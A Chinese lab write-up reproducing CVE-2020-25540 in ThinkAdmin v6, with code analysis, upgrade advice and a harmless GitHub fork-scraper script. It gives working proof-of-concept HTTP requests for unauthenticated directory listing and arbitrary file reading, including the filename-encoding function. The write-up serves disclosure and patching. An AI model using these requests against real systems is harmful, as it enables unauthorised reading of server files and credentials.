登陆 注册

CVE-2020-25540:ThinkAdmin两个漏洞复现

Guy_Psycho 2020-10-18

作者:口算md5@Timeline Sec

本文字数:1611

阅读时长:5~6min

声明:请勿用作违法用途,否则后果自负

0x01 简介

ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统,ThinkAdmin的权限管理基于标准RBAC简化而来,去除了繁杂的节点管理,使得权限管理起来更简单,具体包含节点管理、权限管理、菜单管理、用户管理。

0x02 漏洞概述

漏洞编号CVE-2020-25540

ThinkAdmin6版本存在路径遍历漏洞。该漏洞主要是因为api中存在危险函数,且未作任何限制。未作任何认证可以直接调用api中此两危险函数。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的文件。

0x03 影响版本



ThinkAdmin版本小于 ≤ 2020.08.03.01

0x04 环境搭建


环境:phpStudy+ThinkAdmin_v6

使用Composer命令进行安装

1、设置阿里云 Composer 代理

由于国内访问Composer比较慢,建议设置阿里云Composer镜像,运行如下命令设置阿里云代理



composer config -g repo.packagist composer https://mirrors.aliyun.com/composer



2、下载应用代码(别人fork的老版本)


https://github.com/179776823/ThinkAdmin



3、安装依赖组件

进入ThinkAdmin目录,运行指令安装依赖组件


cd ThinkAdmincomposer install



如未成功,查看官方安装文档:

https://thinkadmin.top/install

0x05 漏洞复现


1、列目录

POC:


POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: 127.0.0.1
Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
rules= %5B%22.%2F%22%5D



2、任意文件读取

在根目录下创建文件1.txt,内容为lalalaa

使用以下加密函数对1.txt文件名进行加密



function encode($content){    
    list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];    
    for ($i = 0; $i < $length; $i++) 
        $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);   
        return $chars;}

得到数据加密数据1d1a383c38


访问下面链接即可读取到1.txt(读其他文件同理)

http://127.0.0.1:8000/admin.html?s=admin/api.Update/get/encode/1d1a383c38



0x06 漏洞分析


1、列目录分析

函数node()

public function node()
{
    $this->success('获取文件列表成功!', InstallService::instance()->getList(
        json_decode($this->request->post('rules', '[]', ''), true),
        json_decode($this->request->post('ignore', '[]', ''), true)
    ));
}


读一下函数是把post传过来的rules和ignore参数给getlist()函数

看注释猜getlist()就是一个循环遍历目录读文件和目录信息的,动调跟一下,结合着poc看先传个[“./”]给rules

然后进到getlist(),循环读取改目录下的所有文件

然后就返回出来了


2、任意文件读取分析

函数get()

public function get()
{
    if (file_exists($file = $this->app->getRootPath() . decode(input('encode', '0')))) {
        $this->success('读取文件成功!', ['content' => base64_encode(file_get_contents($file))]);
    } else {
        $this->error('读取文件内容失败!');
    }
}


这里就是一个获取encode参数作为文件名在thinkadmin根目录下读文件,只不过加了个密。跟一下解密函数。顺便一提,上文用的加密函数就在这个函数上边

 


2位2位的取字符串中的数据,由36进制转为10进制,当作ASCII码转字符,然后就是返回到get()函数上读完返回。


0x07 修复建议


1.升级到2020.08.03.01之后的版本

2.官方给的临时解决办法


https://github.com/zoujingli/ThinkAdmin/issues/244



0x08 总结


1、整体而言很简洁的漏洞,主要问题在于admin的api没有身份验证,敏感功能函数未加严格过滤。

2、在升级,安装这种功能里使用的函数都比较敏感,未加正确的过滤和验证就容易造成漏洞。

3、在fork里翻老版本的时候搞得有点蛋疼,索性搓了个爬虫。可以根据fork的时间快速找到目标版本。


代码如下:

import random
import requests
import time
from lxml.html import etree
from selenium import webdriver
uri = 'https://github.com/zoujingli/ThinkAdmin/network/members'


def get_time(uri):
    browser = webdriver.Chrome()
    # print(uri)
    browser.get(uri)
    browser.get(uri)
    time.sleep(1)
    time1 = browser.find_element_by_xpath("//relative-time").get_attribute('datetime')
    browser.close()
    return time1


if __name__ == '__main__':
    uri_time = []
    response = requests.get(uri).text
    obj = etree.HTML(response)
    urls = obj.xpath('//*[@id="network"]/div/a[3]/@href')
    for i in urls:
        tmp = ['https://github.com'+i]
        tmp_time = get_time('https://github.com'+i)
        tmp.append(tmp_time)
        print(tmp)
        uri_time.append(tmp)

    print(uri_time)



参考链接:https://github.com/zoujingli/ThinkAdmin/issues/244


阅读原文看更多复现文章

Timeline Sec 团队

安全路上,与你并肩前行

请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By HeiBaiTeam.